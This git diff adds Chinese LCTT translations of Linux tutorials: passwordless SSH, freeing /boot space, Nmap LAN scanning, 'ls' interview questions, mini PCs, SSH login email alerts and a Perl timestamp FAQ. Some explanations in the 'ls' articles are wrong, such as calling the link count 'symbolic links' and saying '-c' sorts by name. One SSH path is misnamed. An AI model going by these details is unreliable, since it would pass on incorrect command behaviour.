+在密钥对生成以后,我们需要将**客户端上的公钥复制到SSH服务端**或者主机,来创建对客户端的信任关系。运行以下命令复制客户端的公钥到服务端。 + + $ ssh-copy-id user@ip_address + +在公钥上传之后,我们现在可以禁用通过密码登陆SSH的方式了。为此,我们需要通过以下命令用文本编辑器打开**/etc/ssh/ssh_config**。 + + $ sudo nano /etc/ssh/sshd_config + +现在,我们需要按照下图所示去掉几行注释并进行一些赋值。 + +![Configuring sshd Config](http://blog.linoxide.com/wp-content/uploads/2015/02/configuring-sshd_config.png) + +### 4. 重启SSH服务 ### + +最后,在我们配置完SSH服务端后,为了使改动生效我们需要重启SSH服务。在终端或控制台运行以下命令重启。 + + $ sudo service ssh restart + +或 + + $ sudo /etc/init.d/ssh restart + +![Restarting ssh](http://blog.linoxide.com/wp-content/uploads/2015/02/restarting-ssh.png) + +现在,我们可以试试不用密码仅用密钥对的方式登录ssh服务端了。 + +### 总结 ### + +太好了!我们成功的配置了无密码登录SSH。使用加密密钥对进行SSH服务器认证是非常安全的一种做法,如果你想为SSH的单一用户登录实施安全的认证这也是备受推崇的方式。所以,如果你还有什么问题或建议,请在意见框中向我们反馈。很欣慰你能读完,希望你能喜欢加密的SSH安全登录 :-) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/ubuntu-how-to/setup-passwordless-ssh-logon-ubuntu-14-04/ + +作者:[Arun Pyasi][a] +译者:[martin2011qi](https://github.com/martin2011qi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ diff --git a/published/201504/20150304 How To Fix 'Not Enough Free Disk Space On boot' In Ubuntu.md b/published/201504/20150304 How To Fix 'Not Enough Free Disk Space On boot' In Ubuntu.md new file mode 100644 index 0000000000..787a7355c3 --- /dev/null +++ b/published/201504/20150304 How To Fix 'Not Enough Free Disk Space On boot' In Ubuntu.md @@ -0,0 +1,63 @@ +如何在Ubuntu上修复“Not Enough Free Disk Space On /boot” +================================================================================ +### 提问:如何在Ubuntu上修复“Not Enough Free Disk Space On /boot”错误?### + +今天,当我在升级Lubuntu 14.04的时候遇到了下面这个错误,但是很简单。 + +> “Not Enough Free Disk Space On /boot” + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/02/Software-Updater_002.png) + +这是因为我的 /boot 分区被不再需要的旧内核与包塞满了。 + +### 回答: ### + +我听说Ubuntu Tweak中的**Computer Janitor**功能可以删除不想要的垃圾文件。使用Computer Janitor,你可以将你的系统清理成像新安装的那样。Janitor会删除: + +- 程序缓存(Firefox/Chrome 缓存、软件中心缓存); +- 略缩图缓存; +- apt缓存; +- 旧内核; +- 包的配置; +- 不再需要的包。 + +如果你还没有安装这个工具,参考下面的链接 + +- **[如何安装和使用Ubuntu Tweak][1]** + +要删除不需要的垃圾文件,打开Ubuntu Tweak,点击 **Janitor** 选项。 + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/02/Ubuntu-Tweak_006.png) + +选择你想要删除的文件的选框,并点击 **Clean** 按钮。 + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/02/Ubuntu-Tweak_007.png) + +Janitor现在就开始清理你的系统了。 + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/02/Ubuntu-Tweak_003.png) + +真酷!系统清理完成了。 + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/02/Ubuntu-Tweak_008.png) + +我重启启动了软件更新。这个没再遇到问题了。 + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/02/Software-Updater_009.png) + +就是这样。当然也有其他的方法可以清理系统。但是,这个方法很容易学。我们可以只点击几次鼠标就可以清理系统。 + +干杯! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/how-to-fix-not-enough-free-disk-space-on-boot-in-ubuntu/ + +作者:[SK][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://www.unixmen.com/author/sk/ +[1]:http://linux.cn/article-3335-1.html diff --git a/published/201504/20150306 Nmap--Not Just for Evil.md b/published/201504/20150306 Nmap--Not Just for Evil.md new file mode 100644 index 0000000000..e84ed9a1a7 --- /dev/null +++ b/published/201504/20150306 Nmap--Not Just for Evil.md @@ -0,0 +1,41 @@ +Nmap--不是只能用于做坏事! +================================================================================ +如果SSH是系统管理员世界的"瑞士军刀"的话,那么Nmap就是一盒炸药。炸药很容易被误用然后将你的双脚崩掉,但是也是一个很有威力的工具,能够胜任一些看似无法完成的任务。 + +大多数人想到Nmap时,他们想到的是扫描服务器,查找开放端口来实施攻击。然而,在过去的这些年中,这样的超能力在当你管理服务器或计算机遇到问题时也是非常的有用。无论是你试图找出在你的网络上有哪些类型的服务器使用了指定的IP地址,或者尝试锁定一个新的NAS设备,以及扫描网络等,都会非常有用。 + +下图显示了我的QNAP NAS的网络扫描结果。我使用该设备的唯一目的是为了NFS和SMB文件共享,但是你可以看到,它包含了一大堆大开大敞的端口。如果没有Nmap,很难发现机器到底在运行着什么玩意儿。 + +![](http://www.linuxjournal.com/files/linuxjournal.com/ufiles/imagecache/large-550px-centered/u1002061/11825nmapf1.jpg) + +*网络扫描* + +另外一个可能你没想到的用途是用它来扫描一个网络。你甚至根本不需要root的访问权限,而且你也可以非常容易地来指定你想要扫描的网络地址块,例如输入: + + nmap 192.168.1.0/24 + +上述命令会扫描我的局域网中全部的254个可用的IP地址,让我可以知道那个是可以Ping的,以及那些端口是开放的。如果你刚刚在网络上添加一个新的硬件,但是不知道它通过DHCP获取的IP地址是什么,那么此时Nmap就是无价之宝。例如,上述命令在我的网络中揭示了这个问题: + + Nmap scan report for TIVO-8480001903CCDDB.brainofshawn.com (192.168.1.220) + Host is up (0.0083s latency). + Not shown: 995 filtered ports + PORT STATE SERVICE + 80/tcp open http + 443/tcp open https + 2190/tcp open tivoconnect + 2191/tcp open tvbus + 9080/tcp closed glrpc + +它不仅显示了新的Tivo 设备,而且还告诉我那些端口是开放的。由于它的可靠性、可用性以及“黑边帽子”的能力,Nmap获得了本月的 <<编辑推荐>>奖。这不是一个新的程序,但是如果你是一个linux用户的话,你应该玩玩它。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxjournal.com/content/nmap%E2%80%94not-just-evil + +作者:[Shawn Powers][a] +译者:[theo-l](https://github.com/theo-l) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linuxjournal.com/users/shawn-powers diff --git a/published/201504/20150309 10 Useful 'ls' Command Interview Questions--Part 2.md b/published/201504/20150309 10 Useful 'ls' Command Interview Questions--Part 2.md new file mode 100644 index 0000000000..a166b8d36d --- /dev/null +++ b/published/201504/20150309 10 Useful 'ls' Command Interview Questions--Part 2.md @@ -0,0 +1,179 @@ +10 个‘ls’命 令面试的问题(二) +================================================================================ +这是关于文件列表命令的第二篇文章,继续探讨‘ls’命令的其他方面。该系列的第一篇文章受到了社区的高度关注,如果你错过了该系列的第一部分,可以访问以下地址: + +- [15 个‘ls’命令的面试问题(一)][1] + +这篇文章通过样例来很好地展现‘ls’命令的深入应用,我们加倍小心地来写这篇文章来保持其简洁可理解性,同时又能提供最全面的服务。 + +![10 Interview Questions on ls Command](http://www.tecmint.com/wp-content/uploads/2015/03/ls-Command-Interview-Questions.jpg) + +*10 ‘ls’ 命令面试的问题* + +### 16. 假如你想要以长列表的形式列出目录中的内容,但是不打印文件创建者名称以及文件所属组。看看输出有何不同之处。### + +a. ls 命令在与‘-l’选项一起使用时会将文件以长列表格式输出。 + + # ls -l + +![List Files in- Long List Format](http://www.tecmint.com/wp-content/uploads/2015/03/List-Files-inLong-List-Format.gif) + +*以长格式列出文件* + +b. ls 命令在与‘-l’和‘--author’一起使用时,会将文件以长列表格式输出并带有文件创建者的名称信息。 + + # ls -l --author + +![List Files By Author](http://www.tecmint.com/wp-content/uploads/2015/03/List-Files-By-Author.gif) + +*列出文件的创建者* + +c. ls 命令在与‘-g’选项 一起将会列出文件名但是不带属主名称。 + + # ls -g + +![List Files Without Printing Owner Name](http://www.tecmint.com/wp-content/uploads/2015/03/List-Files-Without-Printing-Author.gif) + +*列出文件但不列出属主* + +d. ls 命令在与'-G'和‘-l’选项一起将会使用长列表格式列出文件名称但是不带文件所属组名称。 + + # ls -Gl + +![List Files Without Printing Group](http://www.tecmint.com/wp-content/uploads/2015/03/List-Files-Without-Printing-Group.gif) + +*列出文件但是不列出所属组* + +### 17. 使用易读格式打印出当前目录中的文件以及文件夹的大小,你会如何做?### + +这里我们需要使用'-h'选项(人类可阅读的、易读的)同‘-l’或‘-s’选项与ls命令一起使用来得到想要的输出。 + + # ls -hl + +![List Files in Human Readable Format](http://www.tecmint.com/wp-content/uploads/2015/03/List-Size-of-Files-with-ls.gif) + +*以易读格式的长列表列出文件* + + # ls -hs + +![List File Sizes in Long List Format](http://www.tecmint.com/wp-content/uploads/2015/03/List-File-Sizes-in-Readable-Format.gif) + +*以易读格式的短列表列出文件* + +**注意**: ‘-h’选项使用1024(计算机中的标准)的幂,文件或文件夹的大小分别以K,M和G作为输出单位。 + +### 18. 既然‘-h’选项是使用1024的幂作为标准来输出大小,那么ls命令是否还支持其他的幂值呢?### + +存在一个选项 ‘--si’与选项‘-h’相似,不同之处在于前者以使用1000的幂,后者使用1024的幂。 + + # ls --si + +所以'--si'也可以与‘-l’选项一起使用来按照1000的幂来输出文件夹的大小,并且以长列表格式显示。 + + # ls --si -l + +(LCTT 译注:此处原文参数有误,附图也不对,因此删除之) + +### 19. 假如要你使用逗号‘,’作为分隔符来打印一个目录中的内容,可以吗? 对于长列表形式也可行吗?### + +当然!linux的ls命令当与其选项‘-m’一起使用时可以在打印目录内容时以逗号‘,’分割。由于逗号分割的内容是水平填充的,ls命令不能在垂直列出内容时使用逗号来分割内容。 + + # ls -m + +![Print Contents of Directory by Comma](http://www.tecmint.com/wp-content/uploads/2015/03/Print-Contents-of-Directory-by-Comma.gif) + +*以逗号分隔显示内容* + +当使用长列表格式时,‘-m’选项就没有什么效果了。 + + # ls -ml + +![Listing Content Horizontally](http://www.tecmint.com/wp-content/uploads/2015/03/Listing-Content-Horizentally.gif) + +*长列表不能使用逗号分隔列表* + +### 20. 有办法将目录的内容逆序打印出来吗?### + +可以!上面的情形可以轻松地通过'-r'选项搞定,该选项将输出顺序倒置。这个选项也可以与‘-l’选项一起使用。 + + # ls -r + +![List Content in Reverse Order](http://www.tecmint.com/wp-content/uploads/2015/03/List-Content-in-Reverse-Order.gif) + +*逆序列出* + + # ls -rl + +![Long List Content in Reverse Order](http://www.tecmint.com/wp-content/uploads/2015/03/Long-List-Content-in-Reverse-Order.gif) + +*逆序长列表* + +### 21. 如果你被分配一个任务,来递归地打印各个子目录,你会如何应付?注意,只针对子目录而不是文件哦。### + +小意思!使用“-R”选项就可以轻轻松松拿下,它也可以更进一步地与其他选项如‘-l’和‘-m’选项等组合使用。 + + # ls -R + +![Print Sub Directories in Recursively](http://www.tecmint.com/wp-content/uploads/2015/03/Print-Sub-Directories-in-Recursively.gif) + +*递归列出子目录* + +### 22. 如何按照文件大小对其进行排序?### + +linux命令行选项'-S'赋予了ls命令这个超能力。按照文件大小从大到小的顺序排序: + + # ls -S + +![Sort Files with ls Command](http://www.tecmint.com/wp-content/uploads/2015/03/Sort-Files-in-Linux.gif) +*按文件大小排序* + +按照文件大小从小到大的顺序排序。 + + # ls -Sr + +![Sort Files in Descending Order](http://www.tecmint.com/wp-content/uploads/2015/03/Sort-Files-in-Descending-Order.gif) + +*从小到大的排序* + +### 23. 按照一行一个文件列出目录中的内容,并且不带额外信息的方式 ### + +选项‘-1’在此可以解决这个问题,使用‘-1’选项来使用ls命令可以将目录中的内容按照一行一个文件并且不带额外信息的方式进行输出。 + + # ls -1 + +![List Files Without Information](http://www.tecmint.com/wp-content/uploads/2015/03/List-Files-Without-Information.gif) + +*不带其他信息,一行一个列出文件* + +### 24. 现在委派给你一个任务,你必须将目录中的内容输出到终端而且需要使用双引号引起来,你会如何做?### + +有一个选项‘-Q’会将ls命令的输出内容用双引号引起来。 + + # ls -Q + +![Print Files with Double Quotes](http://www.tecmint.com/wp-content/uploads/2015/03/Print-Files-with-Double-Quotes.gif) + +*输出的文件名用引号引起来* + +### 25. 想象一下你正在与一个包含有很多文件和文件夹的目录打交道,你需要使目录名显示在文件名之前,你如何做?### + + # ls --group-directories-first + +![Print Directories First](http://www.tecmint.com/wp-content/uploads/2015/03/Print-Directories-First.gif) + +*目录优先显示* + +先点到为止,我们会马上提供该系列文章的下一部分。别换频道,关注我们。 另外别忘了在下面的评论中提出你们宝贵的反馈信息,喜欢就分享,帮助我们得到更好的传播吧! + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/ls-interview-questions/ + +作者:[Ravi Saive][a] +译者:[theo-l](https://github.com/theo-l) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/admin/ +[1]:http://linux.cn/article-5349-1.html diff --git a/published/201504/20150309 15 Interview Questions on Linux 'ls ' Command--Part 1.md b/published/201504/20150309 15 Interview Questions on Linux 'ls ' Command--Part 1.md new file mode 100644 index 0000000000..db7c9a3b88 --- /dev/null +++ b/published/201504/20150309 15 Interview Questions on Linux 'ls ' Command--Part 1.md @@ -0,0 +1,205 @@ +15 个‘ls’命令的面试问题(一) +================================================================================ +Unix或类Unix系统中的“文件列表”命令“ls”是最基础并且使用的最广泛的命令行中工具之一。它是一个POSIX兼容工具,在GNU基本工具集以及BSD各种变体上都可以使用。“ls”命令可以结合大量的选项来达到想要的结果。 + +这篇文章的目的在于通过相关的样例来深入讨论文件列表命令。 + +![15 ls Command Questions](http://www.tecmint.com/wp-content/uploads/2014/09/ls-Command-Questions.png) + +*15个“ls”命令问题。* + +### 1. 如何列出目录中的文件?### + +答:linux文件列表命令“ls”就是干这个的。 + + # ls + +![List Files](http://www.tecmint.com/wp-content/uploads/2014/09/list-files.gif) + +*列出文件* + +同时,我们也可以使用“echo(回显)”命令与一个通配符(*)参数来雷锤目录中的所有文件。 + + # echo * + +![List All Files](http://www.tecmint.com/wp-content/uploads/2014/09/list-all-files.gif) + +*列出所有的文件。* + +### 2. 如何只使用echo命令来只列出所有目录?### + + # echo */ + +![List All Directories](http://www.tecmint.com/wp-content/uploads/2014/09/list-all-directories.gif) + +*列出所有的目录* + +### 3. 怎样列出一个目录中的所有文件, 包括隐藏的以“.”开头的文件?### + +答:我们需要将“-a”选项与“ls”命令一起使用。 + + # ls -a + +![List All Hidden Files](http://www.tecmint.com/wp-content/uploads/2014/09/list-all-hidden-files.gif) + +*列出所有的隐藏文件。* + +### 4. 如何列出目录中除了 “当前目录 .”和“父目录 ..”之外的所有文件,包括隐藏文件?### + +答: 我们需要将“-A”选项与“ls”命令一起使用 + + # ls -A + +![Do Not List Implied](http://www.tecmint.com/wp-content/uploads/2014/09/Do-not-list-Implied.gif) + +*别列出指代当前目录和父目录的文件* + +### 5. 如何使用长格式打印出当前目录内容?### + +答: 我们需要将“-l”选项与“ls”命令一起使用。 + + # ls -l + +![List Files Long](http://www.tecmint.com/wp-content/uploads/2014/09/list-files-long.gif) + +*列出文件的长格式。* + +上面的样例中,其输出结果看起来向下面这样。 + + drwxr-xr-x 5 avi tecmint 4096 Sep 30 11:31 Binary + +上面的drwxr-xr-x 是文件的权限,分别代表了文件所有者,所属组以及“整个世界”。 所有者具有读(r),写(w)以及执行(x)等权限。 该文件所属组具有读(r)和执行(x)但是没有写的权限,整个世界的其他可以访问到该文件的人也具有相同权限。 + +- 开头的‘d’意味着这是一个目录 +- 数字'5'表示符号链接(有5个符号链接) +- 文件 Binary归属于用户 “avi”以及用户组 "tecmint" +- Sep 30 11:31 表示文件最后一次的访问日期与时间。 + +### 6. 假如让你来将目录中的内容以长格式列表打印,并且显示出隐藏的“点文件”,你会如何实现?### + +答: 我们需要同时将"-a"和"-l"选项与“ls”命令一起使用(LCTT 译注:单字符选项可以合并写)。 + + # ls -la + +![Print Content of Directory](http://www.tecmint.com/wp-content/uploads/2014/09/Print-Content-of-Directory.gif) + +*打印目录内容* + +此外,如果我们不想列出“当前目录”和"父目录",可以将“-A”和“-l”选项同“ls”命令一起使用。 + + # ls -lA + +### 7. 如何找到每个文件的创建者?### + +答: 我们需要结合 “--author”和 "-l"选项来打印出每个文件的创建者。 + + # ls --author -l + +![List Author Files](http://www.tecmint.com/wp-content/uploads/2014/09/List-Author-Files.gif) + +*列出文件创建者。* + +### 8. 如何对用转义字符打印出非显示字符?### + +答:我们只需要使用“-b”选项来对非显示字符进行转义打印 + + # ls -b + +![Print Escape Character](http://www.tecmint.com/wp-content/uploads/2014/09/Print-Escape-Character.gif) + +### 9. 用指定特定的单位格式来列出文件和目录的大小,你会如何实现?### + +答: 在此可以同时使用选项“-block-size=scale”和“-l”,但是我们需要用特定的单位如M,K等来替换‘scale’参数。 + + # ls --block-size=M -l + # ls --block-size=K -l + +![List File Scale Format](http://www.tecmint.com/wp-content/uploads/2014/09/List-File-Scale-Format.gif) + +*列出文件大小单位格式。* + +### 10. 列出目录中的文件,但是不显示备份文件,即那些文件名以‘~’结尾的文件### + +答: 选项‘-B’赶来救驾。 + + # ls -B + +![List File Without Backup](http://www.tecmint.com/wp-content/uploads/2014/09/List-File-Without-Backup.gif) + +*列出非备份文件* + +### 11. 将目录中的所有文件按照名称进行排序,并显示其最后修改时间信息?### + +答: 为了实现这个需求,我们需要同时将“-c”和"-l"选项与命令一起使用。 + + # ls -cl + +![Sort Files](http://www.tecmint.com/wp-content/uploads/2014/09/Sort-Files.gif) + +*文件排序* + +### 12. 将目录中的文件按照修改时间进行排序,并显示相关联的信息。### + +答: 我们需要同时使用3个选项:'-l','-t','-c' 来对文件使用修改时间排序,最新的修改时间排在最前。 + + # ls -ltc + +![Sort Files by Modification](http://www.tecmint.com/wp-content/uploads/2014/09/Sort-Files-by-Modification.gif) + +*按照修改时间对文件排序。* + +### 13. 如何控制‘ls’命令的输出颜色的有无?### + +答: 需要使用选项‘--color=parameter’,参数具有三种不同值,“auto(自动)”,“always(一直)”,“never(无色)”。 + + # ls --color=never + # ls --color=auto + # ls --color=always + +![ls Colorful Output](http://www.tecmint.com/wp-content/uploads/2014/09/ls-colorful-output.gif) + +*ls的输出颜色* + +### 14. 假如只需要列出目录本身,而不是目录的内容,你会如何做?### + +答:在此“-d”选项就会显得很顺手。 + + # ls -d + +![List Directory Entries](http://www.tecmint.com/wp-content/uploads/2014/09/List-Directory-Entries.gif) + +*列出目录本身* + +### 15. 为长格式列表命令"ls -l"创建一个别名“ll”,并将其结果输出到一个文件而不是标准输出中。### + +答:在上述的这个场景中,我们需要将别名添加到.bashrc文件中,然后使用重定向操作符将输出写入到文件而不是标准输出中。我们将会使用编辑器nano。 + + # ls -a + # nano .bashrc + # ll >> ll.txt + # nano ll.txt + +![Create Alias for ls command](http://www.tecmint.com/wp-content/uploads/2014/09/Create-ls-Alias.gif) + +*为ls命令创建别名。* + +先到此为止,别忘了在下面的评论中提出你们的宝贵意见,我会再次带着另外的有趣的文章在此闪亮登场。 + +### 参考阅读:### + +- [10 个‘ls’命令的面试问题(二)][1] +- [Linux中15个基础的'ls'命令][2] + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/ls-command-interview-questions/ + +作者:[Avishek Kumar][a] +译者:[theo-l](https://github.com/theo-l) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:http://www.tecmint.com/ls-interview-questions/ +[2]:http://linux.cn/article-5109-1.html diff --git a/published/201504/20150310 4 Linux Based Mini PC You Can Buy In 2015.md b/published/201504/20150310 4 Linux Based Mini PC You Can Buy In 2015.md new file mode 100644 index 0000000000..bbb7efa05c --- /dev/null +++ b/published/201504/20150310 4 Linux Based Mini PC You Can Buy In 2015.md @@ -0,0 +1,140 @@ +2015年你可以买的四款基于Linux的迷你PC +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/03/Linux_Based_Mini_PC.jpg) + +在我看来迷你PC将在不久的将来会替代传统桌面电脑。传统桌面的有一个像吹风机那样占据大量空间的风扇。迷你PC,在另一方面说很小巧和紧凑。通常是4″或者5″大小,可以轻易地放在桌子上。 + +不仅如此,这些迷你PC的无风扇设计是一个优点。当然,你可以购买无风扇的常规电脑,但是空间占用仍然是一个问题。对我个人来说,我觉得迷你PC外观上看着很可爱。如果你不是一个游戏玩家也不想买新的桌面PC,我强烈建议你**购买一款基于Linux的迷你PC**。 + +如果你考虑我的建议,那么你或许想知道该买哪款。不要担心,这篇文章我们会介绍**2015年你可以购买的四款基于Linux的迷你PC**。 + +### 基于Linux的迷你PC ### + +需要注意的是,这其中的一些PC可能还不能下单。它们中有些还刚刚公布,在不久的将来才会面向公众出售。 + + +#### 1. System76出品的Meerkat #### + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/03/system76-meerkat.jpg) + +[System76][1] 是一家仅出品基于Ubuntu电脑、笔记本、服务器的电脑生产商。[System76在上周公布了一款基于Ubuntu的迷你PC][2]。让我看一下它的规格: + +**规格** + +- Intel第五代处理器,共有两种选择 i3-5010U 和 i5-5250U +- 最高2TB存储 (M.2 SATA SSD) +- 16 GB DDR3 内存 +- i3和i5处理器下相应的Intel HD 5500 和 Intel HD 6000显卡 +- 4″ x 4″ 大小 +- WiFi +- 1 Gb 网卡 +- 2个USB 3.0端口 + +**价格** + +在$500之内(还没确定)。 + +**发售日期** + +美国地区在2015年3月底 + +#### 2.Compulab出品的Mintbox Mini #### + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/01/mintbox-mini.jpeg) + +[Compulab][3]将它基于Linux Mint的期间PC设备压缩,从Mintbox变为[Mintbox Mini][4]。这个紧凑的版本大小在4″左右。更多的细节如下: + +**规格** + +- AMD A4-6400T 处理器 +- Radeon R3 显卡 +- 4 GB 内存 +- 64 GB SSD +- 2个USB 3.0端口, 3个USB 2.0端口 +- 2个HDMI输出端 +- 802.11 b/g/n Wifi +- 千兆网卡 +- MicroSD读卡器 + +**价格** + +$300左右起售 + +**发售日期** + +2015年第二季度 + +#### 3. Compulab出品的Utilite2 #### + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/03/Utilite2-ARM-PC.jpg) + +Compulab并不仅仅被Linux Mint所限制。它在去年12月公布了一款运行Ubuntu的ARM桌面PC。大小是3.4″x2.3″,[Utilite2][5]有最适合的性价比。 + +**规格** + +- 高通Snapdragon 600 (APQ8064) 四核 CPU 1.7GHz +- 2GB 内存, 可选32 GB的eMMC mSATA 存储 +- 高通 Adreno™ GPU显卡 +- 1080p 视频回放和捕捉 +- 双天线 WiFi 802.11 和 Bluetooth 4.0 +- 千兆网卡, 4个USB2端口和USB OTG +- 蜂窝调制解调器支持 + +**价格** + +常规版售价$192、带硬盘售价$229。运费另付。 + +**发售日期** + +现在就可购买。运送将花费4周。 + +#### 4. Think Penguin出品的Penguin Pocket Wee #### + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/03/Think_Penguin_Pocket_Wee.jpeg) + +[Think Penguin][6]是一家开源硬件生产商。在迷你PC领域,它提供了[Penguin Pocket Wee][7]。大小是4.6″x 4.4″x 1.4″ ,, Penguin Pocket Wee为你提供了大量的配置。你可以选择处理器、存储、网卡等。你可以选择购买预装你喜欢的Linux发行版,默认系统是Ubuntu。 + +下面是默认的配置: + +- Intel Core i3 或者 i5处理器,最高支持1080p视频 +- 最高扩展至 16GB 的 DDR3内存 +- Intel HD 显卡 +- Wireless N +- 最大250GB的SSD +- 4个USB 3.0接口 +- Intel 10/100/1000 千兆网卡 + +**价格** + +基础版本$499起售,根据你选择的配置最高价格是$1000。 + +**发售日期** + +现在就可下订单。该公司在美国和英国也有办公地点,所以应也可以运送到南美和欧洲。 + +### 你会选哪种? ### + +我故意没有介绍[Raspberry Pi 2][8]或者其他Linux微电脑如[Intel的电脑棒][9]。原因是我不认为这些微电脑属于迷你PC的范畴。 + +你怎么看?你想用迷你PC代替你的桌面PC么?是不是还有我没有在**基于Linux的最好的迷你PC**列表里列出的PC?在评论区分享你们的观点吧。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/4-linux-based-mini-pc-buy-2015/ + +作者:[Abhishek][a] +译者:[geekpi](https://github.com/geekpi) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/abhishek/ +[1]:https://system76.com/ +[2]:http://itsfoss.com/system76-unveils-ubuntu-based-mini-pc-meerkat/ +[3]:http://www.compulab.co.il/ +[4]:http://itsfoss.com/mintbox-mini-compact-linux-mint-powered-pc-unveiled/ +[5]:http://www.compulab.co.il/utilite-computer/web/utilite2-overview +[6]:https://www.thinkpenguin.com/ +[7]:https://www.thinkpenguin.com/gnu-linux/penguin-pocket-wee-gnu-linux-desktop +[8]:http://itsfoss.com/raspberry-pi-2-specs/ +[9]:http://itsfoss.com/intels-compute-stick/ diff --git a/published/201504/20150310 How To Get Email Alerts for SSH Login on Linux Server.md b/published/201504/20150310 How To Get Email Alerts for SSH Login on Linux Server.md new file mode 100644 index 0000000000..06d06029fc --- /dev/null +++ b/published/201504/20150310 How To Get Email Alerts for SSH Login on Linux Server.md @@ -0,0 +1,59 @@ +如何设置 Linux 上 SSH 登录的 Email 提醒 +================================================================================ +![](http://www.ehowstuff.com/wp-content/uploads/2015/03/fail2ban-security.jpg) + +虚拟私有服务器 (VPS)上启用 SSH 服务使得该服务器暴露到互联网中,为黑客攻击提供了机会,尤其是当 VPS 还允许root 直接访问时。VPS 应该为每次 SSH 登录成功尝试配置一个自动的 email 警告。 VPS 服务器的所有者会得到各种 SSH 服务器访问日志的通知,例如登录者、登录时间以及来源 IP 地址等信息。这是一个对于服务器拥有者来说,保护服务器避免未知登录尝试的重要安全关注点。这是因为如果黑客使用暴力破解方式通过 SSH 来登录到你的 VPS 的话,后果很严重。在本文中,我会解释如何在 CentOS 6、 CentOS 7、 RHEL 6 和 RHEL 7上为所有的 SSH 用户登录设置一个 email 警告。 + +1. 使用root用户登录到你的服务器; + +2. 在全局源定义处配置警告(/etc/bashrc),这样就会对 root 用户以及普通用户都生效: + + [root@vps ~]# vi /etc/bashrc + + 将下面的内容加入到上述文件的尾部。 + + echo 'ALERT - Root Shell Access (vps.ehowstuff.com) on:' `date` `who` | mail -s "Alert: Root Access from `who | cut -d'(' -f2 | cut -d')' -f1`" recipient@gmail.com + +3. 你也可以选择性地让警告只对 root 用户生效: + + [root@vps ~]# vi .bashrc + + 将下面的内容添加到/root/.bashrc的尾部: + + echo 'ALERT - Root Shell Access (vps.ehowstuff.com) on:' `date` `who` | mail -s "Alert: Root Access from `who | cut -d'(' -f2 | cut -d')' -f1`" recipient@gmail.com + + 整个配置文件样例: + + # .bashrc + + # User specific aliases and functions + + alias rm='rm -i' + alias cp='cp -i' + alias mv='mv -i' + + # Source global definitions + if [ -f /etc/bashrc ]; then + . /etc/bashrc + fi + echo 'ALERT - Root Shell Access (vps.ehowstuff.com) on:' `date` `who` | mail -s "Alert: Root Access from `who | cut -d'(' -f2 | cut -d')' -f1`" recipient@gmail.com + +4. 你也可以选择性地让警告只对特定的普通用户生效(例如 skytech): + + [root@vps ~]# vi /home/skytech/.bashrc + + 将下面的内容加入到/home/skytech/.bashrc文件尾部: + + echo 'ALERT - Root Shell Access (vps.ehowstuff.com) on:' `date` `who` | mail -s "Alert: Root Access from `who | cut -d'(' -f2 | cut -d')' -f1`" recipient@gmail.com + +-------------------------------------------------------------------------------- + +via: http://www.ehowstuff.com/how-to-get-email-alerts-for-ssh-login-on-linux-server/ + +作者:[skytech][a] +译者:[theo-l](https://github.com/theo-l) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.ehowstuff.com/author/mhstar/ diff --git a/published/201504/20150316 Linux FAQs with Answers--How to convert between local time and UNIX timestamp in Perl.md b/published/201504/20150316 Linux FAQs with Answers--How to convert between local time and UNIX timestamp in Perl.md new file mode 100644 index 0000000000..18ce4c5587 --- /dev/null +++ b/published/201504/20150316 Linux FAQs with Answers--How to convert between local time and UNIX timestamp in Perl.md @@ -0,0 +1,62 @@ +Linux有问必答:Perl中本地时间和UNIX时间戳间相互转换 +================================================================================ +> **问题**: 在Perl语言中,我需要转换易读的日期和时间到对应的UNIX时间戳,反之亦然。你可以给我一些将日期及时间转换到UNIX时间戳的Perl代码例子吗?或者相反,转换UNIX时间戳到可读的日期和时间。 + +当你的Perl脚本需要解决时间信息,这里有两种方法来表示和处理日期和时间。一种方法是易读的时间表示(例,"Sat Mar 14 10:14:05 EDT 2015"),另外一种是使用UNIX时间戳(也叫“新纪元时间”),这是从1970年1月1日到今所经过的时间秒数。每一种方法都有它自己的优劣势,取决于你的需要,也许也就需要转换一种格式到另一种。 + +### Perl中转换本地时间到UNIX时间戳 ### + +为了从日期字符串中获得UNIX时间,可以使用Date::Parse模块中str2time()函数。此函数可以处理多种格式,例如: + +- Sat Mar 14 